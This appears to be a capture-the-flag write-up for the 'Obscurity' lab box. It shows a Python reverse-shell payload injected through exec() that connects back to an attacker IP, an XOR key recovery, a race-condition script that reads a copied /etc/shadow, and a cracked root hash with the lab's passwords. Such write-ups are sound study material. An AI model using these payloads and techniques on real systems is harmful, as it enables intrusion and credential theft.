Obscurity writeup

Obscurity - 10.10.10.162



As usual we start with a nmap scan: nmap -A -T4 -p- -oN nmap.txt 10.10.10.168

  • -p- to scan all the ports
  • -T4 to increase the scan speed (T5 is the fastest and T0 is the slowest)
  • -A to run scripts, do version checks on services we find, detect the OS and do a traceroute (this is equal to running -sC -sV -O --traceroute)
  • -oN to save the output just as plain text

we get the following output:

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Thu, 30 Apr 2020 06:39:53
|     Server: BadHTTPServer
|     Last-Modified: Thu, 30 Apr 2020 06:39:53
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!--
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener

It looks like we have 2 open ports and 2 closed ports, port 22 for SSH and port 8080 for what looks like a proxy server named BadHTTPServer. When we connect to this port using our browser we can see a basic webpage, on the bottom there is some interesting text:

There is a file called SuperSecureServer.py in a secret development directory. With this information we pinpoint our search for a folder containing this file. This is where WFUZZ comes in handy, we can search for a URL and put in the word FUZZ as a keyword to be replaced with something from a wordlist:

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -sc 200 -Z

We use -sc to only Show Codes 200 (only succesfull connects) and -Z to ignore any connection errors, if we let this run we get the following output:

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 220546

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000004521:   200        170 L    498 W    5892 Ch     "develop"

We found a directory: develop here we can read the SuperSecureServer.py file and see what really is running on this server. When we inspect the code one line looks very interesting: exec(info.format(path)). The exec() function in python allows us to execute strings as code, and with some debugging we can see that the parseRequest function splits the request header and allows us to possibly send malicious content to this function.

To be able to do this we first have to escape from the info.format(path) where path is the string we control. And since info looks like info = "output: 'Document: {}'" we should be able to build a string that ends that statement and append our own code to it. So that we end-up with a string that looks like this: info = "output: 'Document: somethingrandom';And now our payload'". Note the ' at the very end, we need this because there is another quote after the brackets and we need to match those to make the code valid. So our payload should look like this: somethingrandom';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' and since we are sending this as part of our url we need to url encode it: somethingrandom%27%3Bimport%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%2210%2E10%2E14%2E144%22%2C1234%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C2%29%3Bp%3Dsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%29%3B%27. Now if we setup a netcat listener on port 1234 and go to http://10.10.10.168:8080/somethingrandom%27%3Bimport%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%2210%2E10%2E14%2E144%22%2C1234%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C2%29%3Bp%3Dsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%29%3B%27 we get a reverse shell.

Searching the home directory for the user robert we find some more "SuperSecure" python scripts and some .txt files. The check.txt has a nice clue: Encrypting this file with your key should result in out.txt, make sure your key is correct!. A closer inspection of the SuperSecureCrypt.py gives us some insight on the encryption used, its an XOR... This should be easy, with an XOR you only need 2 parts to find the 3rd, so with cyphertext and plaintext we can get the key! Sadly we can't just use the script on the server, we need to take out the decrypt function and use this on the check.txt and the out.txt to get the key using this simple script:

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

cFile = open("./out.txt", 'r')
cText = cFile.read()

kFile = open("./check.txt", 'r')
kText = kFile.read()

pText = (decrypt(cText, kText))
print(pText)

And the output is alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich since the key was shorter then the plaintext its being repeated, so the real key is alexandrovich, now we can use this key to decrypt the real password file:

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

cFile = open("./passwordreminder.txt", 'r')
cText = cFile.read()

pText = (decrypt(cText, "alexandrovich"))
print(pText)

Now we can see the real password: SecThruObsFTW and use this to login using ssh with user robert and get the user.txt


Now that we are user we run sudo -l to see wat we can do:

Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

It looks like we are able to run the BetterSSH.py as root without password. But when we try to run it we get an error:

Traceback (most recent call last):
  File "/home/robert/BetterSSH/BetterSSH.py", line 24, in <module>         
    with open('/tmp/SSH/'+path, 'w') as f:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/nQB5di6m'

we can fix this by creating the SSH folder in the /tmp folder. Now we can use the "BetterSSH.py" only to get a worse SSH connection... But when we inspect the code a little closer we can see there is something interesting going on, it seems the /etc/shadow file is copied to a file in /tmp/SSH/<randomstring>... If we are quick enough we might just be able to read it! Time to write some more python code. First we check the contents of /tmp/SSH/ and if a new file gets created we read it and print the content:

import os

path = '/tmp/SSH'
os.chdir(path)

filesInitial = os.listdir(os.getcwd())

noNewFileFound = True

while noNewFileFound:
    filesnew = sorted(os.listdir(os.getcwd()), key=os.path.getmtime)
    if len(filesInitial) < len(filesnew):
        passwords = open(path + "/" + filesnew[-1])
        print(passwords.read())
        noNewFileFound = False

If we first start this script and then try the BetterSSH.py we should get the contents of /etc/shadow and get the root password hash: root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1

Now all we need to do put the hash in a file and crack it with john the ripper: john rootpasswd -wordlist=/usr/share/wordlists/rockyou.txt and get the root password: mercdes now we can use the BetterSSH again and get access as root!